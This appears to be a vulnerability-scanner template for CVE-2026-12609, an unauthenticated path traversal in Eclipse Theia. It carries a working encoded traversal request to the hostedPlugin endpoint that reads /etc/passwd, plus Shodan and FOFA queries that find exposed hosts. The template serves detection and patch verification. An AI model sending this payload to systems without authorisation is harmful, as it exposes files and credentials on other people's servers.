Eclipse Theia - Unauthenticated Path Traversal

id: CVE-2026-12609

info:
  name: Eclipse Theia - Unauthenticated Path Traversal
  author: str4k3r
  severity: high
  description: |
    Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.
  impact: |
    An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.
  remediation: |
    Upgrade Eclipse Theia to the patched version.
  reference:
    - https://github.com/eclipse-theia/theia/security/advisories/GHSA-qmm6-p8q4-2g48
    - https://gitlab.eclipse.org/security/cve-assignment/-/work_items/133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12609
    epss-score: 0.01644
    epss-percentile: 0.76435
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: eclipse
    product: theia
    shodan-query: html:"eclipse-theia"
    fofa-query: body="eclipse-theia"
  tags: cve,cve2026,eclipse,theia,lfi,traversal,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "eclipse-theia")'
        internal: true

  - raw:
      - |
        GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022070d5a2e719c7d49442bf61d23e106e50a2e693fe2b63f1e63377b3e8a2ed7fbd0220427ddbfcd2154971abc17e59c5e4fb4d37e188ecdddd8a4755b2c1035210edc4:922c64590222798bb761d5b6d8e72950